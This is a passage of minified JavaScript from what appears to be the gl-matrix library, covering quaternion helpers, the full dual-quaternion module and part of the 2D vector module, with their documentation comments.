slerp(temp2, b, c, t); slerp(out, temp1, temp2, 2 * t * (1 - t)); return out; }; }(); /** * Sets the specified quaternion with values corresponding to the given * axes. Each axis is a vec3 and is expected to be unit length and * perpendicular to all other specified axes. * * @param {ReadonlyVec3} view the vector representing the viewing direction * @param {ReadonlyVec3} right the vector representing the local "right" direction * @param {ReadonlyVec3} up the vector representing the local "up" direction * @returns {quat} out */ var setAxes = function () { var matr = create$6(); return function (out, view, right, up) { matr[0] = right[0]; matr[3] = right[1]; matr[6] = right[2]; matr[1] = up[0]; matr[4] = up[1]; matr[7] = up[2]; matr[2] = -view[0]; matr[5] = -view[1]; matr[8] = -view[2]; return normalize$2(out, fromMat3(out, matr)); }; }(); var quat = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$2, identity: identity$1, setAxisAngle: setAxisAngle, getAxisAngle: getAxisAngle, getAngle: getAngle, multiply: multiply$2, rotateX: rotateX$1, rotateY: rotateY$1, rotateZ: rotateZ$1, calculateW: calculateW, exp: exp, ln: ln, pow: pow, slerp: slerp, random: random$1, invert: invert$1, conjugate: conjugate$1, fromMat3: fromMat3, fromEuler: fromEuler, str: str$2, clone: clone$2, fromValues: fromValues$2, copy: copy$2, set: set$2, add: add$2, mul: mul$2, scale: scale$2, dot: dot$2, lerp: lerp$2, length: length$2, len: len$2, squaredLength: squaredLength$2, sqrLen: sqrLen$2, normalize: normalize$2, exactEquals: exactEquals$2, equals: equals$2, rotationTo: rotationTo, sqlerp: sqlerp, setAxes: setAxes }); /** * Dual Quaternion<br> * Format: [real, dual]<br> * Quaternion format: XYZW<br> * Make sure to have normalized dual quaternions, otherwise the functions may not work as intended.<br> * @module quat2 */ /** * Creates a new identity dual quat * * @returns {quat2} a new dual quaternion [real -> rotation, dual -> translation] */ function create$1() { var dq = new ARRAY_TYPE(8); if (ARRAY_TYPE != Float32Array) { dq[0] = 0; dq[1] = 0; dq[2] = 0; dq[4] = 0; dq[5] = 0; dq[6] = 0; dq[7] = 0; } dq[3] = 1; return dq; } /** * Creates a new quat initialized with values from an existing quaternion * * @param {ReadonlyQuat2} a dual quaternion to clone * @returns {quat2} new dual quaternion * @function */ function clone$1(a) { var dq = new ARRAY_TYPE(8); dq[0] = a[0]; dq[1] = a[1]; dq[2] = a[2]; dq[3] = a[3]; dq[4] = a[4]; dq[5] = a[5]; dq[6] = a[6]; dq[7] = a[7]; return dq; } /** * Creates a new dual quat initialized with the given values * * @param {Number} x1 X component * @param {Number} y1 Y component * @param {Number} z1 Z component * @param {Number} w1 W component * @param {Number} x2 X component * @param {Number} y2 Y component * @param {Number} z2 Z component * @param {Number} w2 W component * @returns {quat2} new dual quaternion * @function */ function fromValues$1(x1, y1, z1, w1, x2, y2, z2, w2) { var dq = new ARRAY_TYPE(8); dq[0] = x1; dq[1] = y1; dq[2] = z1; dq[3] = w1; dq[4] = x2; dq[5] = y2; dq[6] = z2; dq[7] = w2; return dq; } /** * Creates a new dual quat from the given values (quat and translation) * * @param {Number} x1 X component * @param {Number} y1 Y component * @param {Number} z1 Z component * @param {Number} w1 W component * @param {Number} x2 X component (translation) * @param {Number} y2 Y component (translation) * @param {Number} z2 Z component (translation) * @returns {quat2} new dual quaternion * @function */ function fromRotationTranslationValues(x1, y1, z1, w1, x2, y2, z2) { var dq = new ARRAY_TYPE(8); dq[0] = x1; dq[1] = y1; dq[2] = z1; dq[3] = w1; var ax = x2 * 0.5, ay = y2 * 0.5, az = z2 * 0.5; dq[4] = ax * w1 + ay * z1 - az * y1; dq[5] = ay * w1 + az * x1 - ax * z1; dq[6] = az * w1 + ax * y1 - ay * x1; dq[7] = -ax * x1 - ay * y1 - az * z1; return dq; } /** * Creates a dual quat from a quaternion and a translation * * @param {ReadonlyQuat2} dual quaternion receiving operation result * @param {ReadonlyQuat} q a normalized quaternion * @param {ReadonlyVec3} t translation vector * @returns {quat2} dual quaternion receiving operation result * @function */ function fromRotationTranslation(out, q, t) { var ax = t[0] * 0.5, ay = t[1] * 0.5, az = t[2] * 0.5, bx = q[0], by = q[1], bz = q[2], bw = q[3]; out[0] = bx; out[1] = by; out[2] = bz; out[3] = bw; out[4] = ax * bw + ay * bz - az * by; out[5] = ay * bw + az * bx - ax * bz; out[6] = az * bw + ax * by - ay * bx; out[7] = -ax * bx - ay * by - az * bz; return out; } /** * Creates a dual quat from a translation * * @param {ReadonlyQuat2} dual quaternion receiving operation result * @param {ReadonlyVec3} t translation vector * @returns {quat2} dual quaternion receiving operation result * @function */ function fromTranslation(out, t) { out[0] = 0; out[1] = 0; out[2] = 0; out[3] = 1; out[4] = t[0] * 0.5; out[5] = t[1] * 0.5; out[6] = t[2] * 0.5; out[7] = 0; return out; } /** * Creates a dual quat from a quaternion * * @param {ReadonlyQuat2} dual quaternion receiving operation result * @param {ReadonlyQuat} q the quaternion * @returns {quat2} dual quaternion receiving operation result * @function */ function fromRotation(out, q) { out[0] = q[0]; out[1] = q[1]; out[2] = q[2]; out[3] = q[3]; out[4] = 0; out[5] = 0; out[6] = 0; out[7] = 0; return out; } /** * Creates a new dual quat from a matrix (4x4) * * @param {quat2} out the dual quaternion * @param {ReadonlyMat4} a the matrix * @returns {quat2} dual quat receiving operation result * @function */ function fromMat4(out, a) { //TODO Optimize this var outer = create$2(); getRotation(outer, a); var t = new ARRAY_TYPE(3); getTranslation$1(t, a); fromRotationTranslation(out, outer, t); return out; } /** * Copy the values from one dual quat to another * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the source dual quaternion * @returns {quat2} out * @function */ function copy$1(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; out[4] = a[4]; out[5] = a[5]; out[6] = a[6]; out[7] = a[7]; return out; } /** * Set a dual quat to the identity dual quaternion * * @param {quat2} out the receiving quaternion * @returns {quat2} out */ function identity(out) { out[0] = 0; out[1] = 0; out[2] = 0; out[3] = 1; out[4] = 0; out[5] = 0; out[6] = 0; out[7] = 0; return out; } /** * Set the components of a dual quat to the given values * * @param {quat2} out the receiving quaternion * @param {Number} x1 X component * @param {Number} y1 Y component * @param {Number} z1 Z component * @param {Number} w1 W component * @param {Number} x2 X component * @param {Number} y2 Y component * @param {Number} z2 Z component * @param {Number} w2 W component * @returns {quat2} out * @function */ function set$1(out, x1, y1, z1, w1, x2, y2, z2, w2) { out[0] = x1; out[1] = y1; out[2] = z1; out[3] = w1; out[4] = x2; out[5] = y2; out[6] = z2; out[7] = w2; return out; } /** * Gets the real part of a dual quat * @param {quat} out real part * @param {ReadonlyQuat2} a Dual Quaternion * @return {quat} real part */ var getReal = copy$2; /** * Gets the dual part of a dual quat * @param {quat} out dual part * @param {ReadonlyQuat2} a Dual Quaternion * @return {quat} dual part */ function getDual(out, a) { out[0] = a[4]; out[1] = a[5]; out[2] = a[6]; out[3] = a[7]; return out; } /** * Set the real component of a dual quat to the given quaternion * * @param {quat2} out the receiving quaternion * @param {ReadonlyQuat} q a quaternion representing the real part * @returns {quat2} out * @function */ var setReal = copy$2; /** * Set the dual component of a dual quat to the given quaternion * * @param {quat2} out the receiving quaternion * @param {ReadonlyQuat} q a quaternion representing the dual part * @returns {quat2} out * @function */ function setDual(out, q) { out[4] = q[0]; out[5] = q[1]; out[6] = q[2]; out[7] = q[3]; return out; } /** * Gets the translation of a normalized dual quat * @param {vec3} out translation * @param {ReadonlyQuat2} a Dual Quaternion to be decomposed * @return {vec3} translation */ function getTranslation(out, a) { var ax = a[4], ay = a[5], az = a[6], aw = a[7], bx = -a[0], by = -a[1], bz = -a[2], bw = a[3]; out[0] = (ax * bw + aw * bx + ay * bz - az * by) * 2; out[1] = (ay * bw + aw * by + az * bx - ax * bz) * 2; out[2] = (az * bw + aw * bz + ax * by - ay * bx) * 2; return out; } /** * Translates a dual quat by the given vector * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the dual quaternion to translate * @param {ReadonlyVec3} v vector to translate by * @returns {quat2} out */ function translate(out, a, v) { var ax1 = a[0], ay1 = a[1], az1 = a[2], aw1 = a[3], bx1 = v[0] * 0.5, by1 = v[1] * 0.5, bz1 = v[2] * 0.5, ax2 = a[4], ay2 = a[5], az2 = a[6], aw2 = a[7]; out[0] = ax1; out[1] = ay1; out[2] = az1; out[3] = aw1; out[4] = aw1 * bx1 + ay1 * bz1 - az1 * by1 + ax2; out[5] = aw1 * by1 + az1 * bx1 - ax1 * bz1 + ay2; out[6] = aw1 * bz1 + ax1 * by1 - ay1 * bx1 + az2; out[7] = -ax1 * bx1 - ay1 * by1 - az1 * bz1 + aw2; return out; } /** * Rotates a dual quat around the X axis * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the dual quaternion to rotate * @param {number} rad how far should the rotation be * @returns {quat2} out */ function rotateX(out, a, rad) { var bx = -a[0], by = -a[1], bz = -a[2], bw = a[3], ax = a[4], ay = a[5], az = a[6], aw = a[7], ax1 = ax * bw + aw * bx + ay * bz - az * by, ay1 = ay * bw + aw * by + az * bx - ax * bz, az1 = az * bw + aw * bz + ax * by - ay * bx, aw1 = aw * bw - ax * bx - ay * by - az * bz; rotateX$1(out, a, rad); bx = out[0]; by = out[1]; bz = out[2]; bw = out[3]; out[4] = ax1 * bw + aw1 * bx + ay1 * bz - az1 * by; out[5] = ay1 * bw + aw1 * by + az1 * bx - ax1 * bz; out[6] = az1 * bw + aw1 * bz + ax1 * by - ay1 * bx; out[7] = aw1 * bw - ax1 * bx - ay1 * by - az1 * bz; return out; } /** * Rotates a dual quat around the Y axis * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the dual quaternion to rotate * @param {number} rad how far should the rotation be * @returns {quat2} out */ function rotateY(out, a, rad) { var bx = -a[0], by = -a[1], bz = -a[2], bw = a[3], ax = a[4], ay = a[5], az = a[6], aw = a[7], ax1 = ax * bw + aw * bx + ay * bz - az * by, ay1 = ay * bw + aw * by + az * bx - ax * bz, az1 = az * bw + aw * bz + ax * by - ay * bx, aw1 = aw * bw - ax * bx - ay * by - az * bz; rotateY$1(out, a, rad); bx = out[0]; by = out[1]; bz = out[2]; bw = out[3]; out[4] = ax1 * bw + aw1 * bx + ay1 * bz - az1 * by; out[5] = ay1 * bw + aw1 * by + az1 * bx - ax1 * bz; out[6] = az1 * bw + aw1 * bz + ax1 * by - ay1 * bx; out[7] = aw1 * bw - ax1 * bx - ay1 * by - az1 * bz; return out; } /** * Rotates a dual quat around the Z axis * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the dual quaternion to rotate * @param {number} rad how far should the rotation be * @returns {quat2} out */ function rotateZ(out, a, rad) { var bx = -a[0], by = -a[1], bz = -a[2], bw = a[3], ax = a[4], ay = a[5], az = a[6], aw = a[7], ax1 = ax * bw + aw * bx + ay * bz - az * by, ay1 = ay * bw + aw * by + az * bx - ax * bz, az1 = az * bw + aw * bz + ax * by - ay * bx, aw1 = aw * bw - ax * bx - ay * by - az * bz; rotateZ$1(out, a, rad); bx = out[0]; by = out[1]; bz = out[2]; bw = out[3]; out[4] = ax1 * bw + aw1 * bx + ay1 * bz - az1 * by; out[5] = ay1 * bw + aw1 * by + az1 * bx - ax1 * bz; out[6] = az1 * bw + aw1 * bz + ax1 * by - ay1 * bx; out[7] = aw1 * bw - ax1 * bx - ay1 * by - az1 * bz; return out; } /** * Rotates a dual quat by a given quaternion (a * q) * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the dual quaternion to rotate * @param {ReadonlyQuat} q quaternion to rotate by * @returns {quat2} out */ function rotateByQuatAppend(out, a, q) { var qx = q[0], qy = q[1], qz = q[2], qw = q[3], ax = a[0], ay = a[1], az = a[2], aw = a[3]; out[0] = ax * qw + aw * qx + ay * qz - az * qy; out[1] = ay * qw + aw * qy + az * qx - ax * qz; out[2] = az * qw + aw * qz + ax * qy - ay * qx; out[3] = aw * qw - ax * qx - ay * qy - az * qz; ax = a[4]; ay = a[5]; az = a[6]; aw = a[7]; out[4] = ax * qw + aw * qx + ay * qz - az * qy; out[5] = ay * qw + aw * qy + az * qx - ax * qz; out[6] = az * qw + aw * qz + ax * qy - ay * qx; out[7] = aw * qw - ax * qx - ay * qy - az * qz; return out; } /** * Rotates a dual quat by a given quaternion (q * a) * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat} q quaternion to rotate by * @param {ReadonlyQuat2} a the dual quaternion to rotate * @returns {quat2} out */ function rotateByQuatPrepend(out, q, a) { var qx = q[0], qy = q[1], qz = q[2], qw = q[3], bx = a[0], by = a[1], bz = a[2], bw = a[3]; out[0] = qx * bw + qw * bx + qy * bz - qz * by; out[1] = qy * bw + qw * by + qz * bx - qx * bz; out[2] = qz * bw + qw * bz + qx * by - qy * bx; out[3] = qw * bw - qx * bx - qy * by - qz * bz; bx = a[4]; by = a[5]; bz = a[6]; bw = a[7]; out[4] = qx * bw + qw * bx + qy * bz - qz * by; out[5] = qy * bw + qw * by + qz * bx - qx * bz; out[6] = qz * bw + qw * bz + qx * by - qy * bx; out[7] = qw * bw - qx * bx - qy * by - qz * bz; return out; } /** * Rotates a dual quat around a given axis. Does the normalisation automatically * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the dual quaternion to rotate * @param {ReadonlyVec3} axis the axis to rotate around * @param {Number} rad how far the rotation should be * @returns {quat2} out */ function rotateAroundAxis(out, a, axis, rad) { //Special case for rad = 0 if (Math.abs(rad) < EPSILON) { return copy$1(out, a); } var axisLength = Math.hypot(axis[0], axis[1], axis[2]); rad = rad * 0.5; var s = Math.sin(rad); var bx = s * axis[0] / axisLength; var by = s * axis[1] / axisLength; var bz = s * axis[2] / axisLength; var bw = Math.cos(rad); var ax1 = a[0], ay1 = a[1], az1 = a[2], aw1 = a[3]; out[0] = ax1 * bw + aw1 * bx + ay1 * bz - az1 * by; out[1] = ay1 * bw + aw1 * by + az1 * bx - ax1 * bz; out[2] = az1 * bw + aw1 * bz + ax1 * by - ay1 * bx; out[3] = aw1 * bw - ax1 * bx - ay1 * by - az1 * bz; var ax = a[4], ay = a[5], az = a[6], aw = a[7]; out[4] = ax * bw + aw * bx + ay * bz - az * by; out[5] = ay * bw + aw * by + az * bx - ax * bz; out[6] = az * bw + aw * bz + ax * by - ay * bx; out[7] = aw * bw - ax * bx - ay * by - az * bz; return out; } /** * Adds two dual quat's * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the first operand * @param {ReadonlyQuat2} b the second operand * @returns {quat2} out * @function */ function add$1(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; out[3] = a[3] + b[3]; out[4] = a[4] + b[4]; out[5] = a[5] + b[5]; out[6] = a[6] + b[6]; out[7] = a[7] + b[7]; return out; } /** * Multiplies two dual quat's * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a the first operand * @param {ReadonlyQuat2} b the second operand * @returns {quat2} out */ function multiply$1(out, a, b) { var ax0 = a[0], ay0 = a[1], az0 = a[2], aw0 = a[3], bx1 = b[4], by1 = b[5], bz1 = b[6], bw1 = b[7], ax1 = a[4], ay1 = a[5], az1 = a[6], aw1 = a[7], bx0 = b[0], by0 = b[1], bz0 = b[2], bw0 = b[3]; out[0] = ax0 * bw0 + aw0 * bx0 + ay0 * bz0 - az0 * by0; out[1] = ay0 * bw0 + aw0 * by0 + az0 * bx0 - ax0 * bz0; out[2] = az0 * bw0 + aw0 * bz0 + ax0 * by0 - ay0 * bx0; out[3] = aw0 * bw0 - ax0 * bx0 - ay0 * by0 - az0 * bz0; out[4] = ax0 * bw1 + aw0 * bx1 + ay0 * bz1 - az0 * by1 + ax1 * bw0 + aw1 * bx0 + ay1 * bz0 - az1 * by0; out[5] = ay0 * bw1 + aw0 * by1 + az0 * bx1 - ax0 * bz1 + ay1 * bw0 + aw1 * by0 + az1 * bx0 - ax1 * bz0; out[6] = az0 * bw1 + aw0 * bz1 + ax0 * by1 - ay0 * bx1 + az1 * bw0 + aw1 * bz0 + ax1 * by0 - ay1 * bx0; out[7] = aw0 * bw1 - ax0 * bx1 - ay0 * by1 - az0 * bz1 + aw1 * bw0 - ax1 * bx0 - ay1 * by0 - az1 * bz0; return out; } /** * Alias for {@link quat2.multiply} * @function */ var mul$1 = multiply$1; /** * Scales a dual quat by a scalar number * * @param {quat2} out the receiving dual quat * @param {ReadonlyQuat2} a the dual quat to scale * @param {Number} b amount to scale the dual quat by * @returns {quat2} out * @function */ function scale$1(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; out[3] = a[3] * b; out[4] = a[4] * b; out[5] = a[5] * b; out[6] = a[6] * b; out[7] = a[7] * b; return out; } /** * Calculates the dot product of two dual quat's (The dot product of the real parts) * * @param {ReadonlyQuat2} a the first operand * @param {ReadonlyQuat2} b the second operand * @returns {Number} dot product of a and b * @function */ var dot$1 = dot$2; /** * Performs a linear interpolation between two dual quats's * NOTE: The resulting dual quaternions won't always be normalized (The error is most noticeable when t = 0.5) * * @param {quat2} out the receiving dual quat * @param {ReadonlyQuat2} a the first operand * @param {ReadonlyQuat2} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {quat2} out */ function lerp$1(out, a, b, t) { var mt = 1 - t; if (dot$1(a, b) < 0) t = -t; out[0] = a[0] * mt + b[0] * t; out[1] = a[1] * mt + b[1] * t; out[2] = a[2] * mt + b[2] * t; out[3] = a[3] * mt + b[3] * t; out[4] = a[4] * mt + b[4] * t; out[5] = a[5] * mt + b[5] * t; out[6] = a[6] * mt + b[6] * t; out[7] = a[7] * mt + b[7] * t; return out; } /** * Calculates the inverse of a dual quat. If they are normalized, conjugate is cheaper * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a dual quat to calculate inverse of * @returns {quat2} out */ function invert(out, a) { var sqlen = squaredLength$1(a); out[0] = -a[0] / sqlen; out[1] = -a[1] / sqlen; out[2] = -a[2] / sqlen; out[3] = a[3] / sqlen; out[4] = -a[4] / sqlen; out[5] = -a[5] / sqlen; out[6] = -a[6] / sqlen; out[7] = a[7] / sqlen; return out; } /** * Calculates the conjugate of a dual quat * If the dual quaternion is normalized, this function is faster than quat2.inverse and produces the same result. * * @param {quat2} out the receiving quaternion * @param {ReadonlyQuat2} a quat to calculate conjugate of * @returns {quat2} out */ function conjugate(out, a) { out[0] = -a[0]; out[1] = -a[1]; out[2] = -a[2]; out[3] = a[3]; out[4] = -a[4]; out[5] = -a[5]; out[6] = -a[6]; out[7] = a[7]; return out; } /** * Calculates the length of a dual quat * * @param {ReadonlyQuat2} a dual quat to calculate length of * @returns {Number} length of a * @function */ var length$1 = length$2; /** * Alias for {@link quat2.length} * @function */ var len$1 = length$1; /** * Calculates the squared length of a dual quat * * @param {ReadonlyQuat2} a dual quat to calculate squared length of * @returns {Number} squared length of a * @function */ var squaredLength$1 = squaredLength$2; /** * Alias for {@link quat2.squaredLength} * @function */ var sqrLen$1 = squaredLength$1; /** * Normalize a dual quat * * @param {quat2} out the receiving dual quaternion * @param {ReadonlyQuat2} a dual quaternion to normalize * @returns {quat2} out * @function */ function normalize$1(out, a) { var magnitude = squaredLength$1(a); if (magnitude > 0) { magnitude = Math.sqrt(magnitude); var a0 = a[0] / magnitude; var a1 = a[1] / magnitude; var a2 = a[2] / magnitude; var a3 = a[3] / magnitude; var b0 = a[4]; var b1 = a[5]; var b2 = a[6]; var b3 = a[7]; var a_dot_b = a0 * b0 + a1 * b1 + a2 * b2 + a3 * b3; out[0] = a0; out[1] = a1; out[2] = a2; out[3] = a3; out[4] = (b0 - a0 * a_dot_b) / magnitude; out[5] = (b1 - a1 * a_dot_b) / magnitude; out[6] = (b2 - a2 * a_dot_b) / magnitude; out[7] = (b3 - a3 * a_dot_b) / magnitude; } return out; } /** * Returns a string representation of a dual quaternion * * @param {ReadonlyQuat2} a dual quaternion to represent as a string * @returns {String} string representation of the dual quat */ function str$1(a) { return "quat2(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ", " + a[4] + ", " + a[5] + ", " + a[6] + ", " + a[7] + ")"; } /** * Returns whether or not the dual quaternions have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyQuat2} a the first dual quaternion. * @param {ReadonlyQuat2} b the second dual quaternion. * @returns {Boolean} true if the dual quaternions are equal, false otherwise. */ function exactEquals$1(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2] && a[3] === b[3] && a[4] === b[4] && a[5] === b[5] && a[6] === b[6] && a[7] === b[7]; } /** * Returns whether or not the dual quaternions have approximately the same elements in the same position. * * @param {ReadonlyQuat2} a the first dual quat. * @param {ReadonlyQuat2} b the second dual quat. * @returns {Boolean} true if the dual quats are equal, false otherwise. */ function equals$1(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3], a4 = a[4], a5 = a[5], a6 = a[6], a7 = a[7]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3], b4 = b[4], b5 = b[5], b6 = b[6], b7 = b[7]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)) && Math.abs(a3 - b3) <= EPSILON * Math.max(1.0, Math.abs(a3), Math.abs(b3)) && Math.abs(a4 - b4) <= EPSILON * Math.max(1.0, Math.abs(a4), Math.abs(b4)) && Math.abs(a5 - b5) <= EPSILON * Math.max(1.0, Math.abs(a5), Math.abs(b5)) && Math.abs(a6 - b6) <= EPSILON * Math.max(1.0, Math.abs(a6), Math.abs(b6)) && Math.abs(a7 - b7) <= EPSILON * Math.max(1.0, Math.abs(a7), Math.abs(b7)); } var quat2 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$1, clone: clone$1, fromValues: fromValues$1, fromRotationTranslationValues: fromRotationTranslationValues, fromRotationTranslation: fromRotationTranslation, fromTranslation: fromTranslation, fromRotation: fromRotation, fromMat4: fromMat4, copy: copy$1, identity: identity, set: set$1, getReal: getReal, getDual: getDual, setReal: setReal, setDual: setDual, getTranslation: getTranslation, translate: translate, rotateX: rotateX, rotateY: rotateY, rotateZ: rotateZ, rotateByQuatAppend: rotateByQuatAppend, rotateByQuatPrepend: rotateByQuatPrepend, rotateAroundAxis: rotateAroundAxis, add: add$1, multiply: multiply$1, mul: mul$1, scale: scale$1, dot: dot$1, lerp: lerp$1, invert: invert, conjugate: conjugate, length: length$1, len: len$1, squaredLength: squaredLength$1, sqrLen: sqrLen$1, normalize: normalize$1, str: str$1, exactEquals: exactEquals$1, equals: equals$1 }); /** * 2 Dimensional Vector * @module vec2 */ /** * Creates a new, empty vec2 * * @returns {vec2} a new 2D vector */ function create() { var out = new ARRAY_TYPE(2); if (ARRAY_TYPE != Float32Array) { out[0] = 0; out[1] = 0; } return out; } /** * Creates a new vec2 initialized with values from an existing vector * * @param {ReadonlyVec2} a vector to clone * @returns {vec2} a new 2D vector */ function clone(a) { var out = new ARRAY_TYPE(2); out[0] = a[0]; out[1] = a[1]; return out; } /** * Creates a new vec2 initialized with the given values * * @param {Number} x X component * @param {Number} y Y component * @returns {vec2} a new 2D vector */ function fromValues(x, y) { var out = new ARRAY_TYPE(2); out[0] = x; out[1] = y; return out; } /** * Copy the values from one vec2 to another * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the source vector * @returns {vec2} out */ function copy(out, a) { out[0] = a[0]; out[1] = a[1]; return out; } /** * Set the components of a vec2 to the given values * * @param {vec2} out the receiving vector * @param {Number} x X component * @param {Number} y Y component * @returns {vec2} out */ function set(out, x, y) { out[0] = x; out[1] = y; return out; } /** * Adds two vec2's * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec2} out */ function add(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; return out; } /** * Subtracts vector b from vector a * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec2} out */ function subtract(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; return out; } /** * Multiplies two vec2's * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec2} out */ function multiply(out, a, b) { out[0] = a[0] * b[0]; out[1] = a[1] * b[1]; return out; } /** * Divides two vec2's * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec2} out */ function divide(out, a, b) { out[0] = a[0] / b[0]; out[1] = a[1] / b[1]; return out; } /** * Math.ceil the components of a vec2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a vector to ceil * @returns {vec2} out */ function ceil(out, a) { out[0] = Math.ceil(a[0]); out[1] = Math.ceil(a[1]); return out; } /** * Math.floor the components of a vec2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a vector to floor * @returns {vec2} out */ function floor(out, a) { out[0] = Math.floor(a[0]); out[1] = Math.floor(a[1]); return out; } /** * Returns the minimum of two vec2's * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec2} out */ function min(out, a, b) { out[0] = Math.min(a[0], b[0]); out[1] = Math.min(a[1], b[1]); return out; } /** * Returns the maximum of two vec2's * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec2} out */ function max(out, a, b) { out[0] = Math.max(a[0], b[0]); out[1] = Math.max(a[1], b[1]); return out; } /** * Math.round the components of a vec2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a vector to round * @returns {vec2} out */ function round(out, a) { out[0] = Math.round(a[0]); out[1] = Math.round(a[1]); return out; } /** * Scales a vec2 by a scalar number * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the vector to scale * @param {Number} b amount to scale the vector by * @returns {vec2} out */ function scale(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; return out; } /** * Adds two vec2's after scaling the second operand by a scalar value * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @param {Number} scale the amount to scale b by before adding * @returns {vec2} out */ function scaleAndAdd(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; return out; } /** * Calculates the euclidian distance between two vec2's * * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {Number} distance between a and b */ function distance(a, b) { var x = b[0] - a[0], y = b[1] - a[1]; return Math.hypot(x, y); } /** * Calculates the squared euclidian distance between two vec2's * * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {Number} squared distance between a and b */ function squaredDistance(a, b) { var x = b[0] - a[0], y = b[1] - a[1]; return x * x + y * y; } /** * Calculates the length of a vec2 * * @param {ReadonlyVec2} a vector to calculate length of * @returns {Number} length of a */ function length(a) { var x = a[0], y = a[1]; return Math.hypot(x, y); } /** * Calculates the squared length of a vec2 * * @param {ReadonlyVec2} a vector to calculate squared length of * @returns {Number} squared length of a */ function squaredLength(a) { var x = a[0], y = a[1]; return x * x + y * y; } /** * Negates the components of a vec2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a vector to negate * @returns {vec2} out */ function negate(out, a) { out[0] = -a[0]; out[1] = -a[1]; return out; } /** * Returns the inverse of the components of a vec2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a vector to invert * @returns {vec2} out */ function inverse(out, a) { out[0] = 1.0 / a[0]; out[1] = 1.0 / a[1]; return out; } /** * Normalize a vec2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a vector to normalize * @returns {vec2} out */ function normalize(out, a) { var x = a[0], y = a[1]; var len = x * x + y * y; if (len > 0) { //TODO: evaluate use of glm_invsqrt here? len = 1 / Math.sqrt(len); } out[0] = a[0] * len; out[1] = a[1] * len; return out; } /** * Calculates the dot product of two vec2's * * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {Number} dot product of a and b */ function dot(a, b) { return a[0] * b[0] + a[1] * b[1]; } /** * Computes the cross product of two vec2's * Note that the cross product must by definition produce a 3D vector * * @param {vec3} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @returns {vec3} out */ function cross(out, a, b) { var z = a[0] * b[1] - a[1] * b[0]; out[0] = out[1] = 0; out[2] = z; return out; } /** * Performs a linear interpolation between two vec2's * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the first operand * @param {ReadonlyVec2} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {vec2} out */ function lerp(out, a, b, t) { var ax = a[0], ay = a[1]; out[0] = ax + t * (b[0] - ax); out[1] = ay + t * (b[1] - ay); return out; } /** * Generates a random vector with the given scale * * @param {vec2} out the receiving vector * @param {Number} [scale] Length of the resulting vector. If omitted, a unit vector will be returned * @returns {vec2} out */ function random(out, scale) { scale = scale === undefined ? 1.0 : scale; var r = RANDOM() * 2.0 * Math.PI; out[0] = Math.cos(r) * scale; out[1] = Math.sin(r) * scale; return out; } /** * Transforms the vec2 with a mat2 * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the vector to transform * @param {ReadonlyMat2} m matrix to transform with * @returns {vec2} out */ function transformMat2(out, a, m) { var x = a[0], y = a[1]; out[0] = m[0] * x + m[2] * y; out[1] = m[1] * x + m[3] * y; return out; } /** * Transforms the vec2 with a mat2d * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the vector 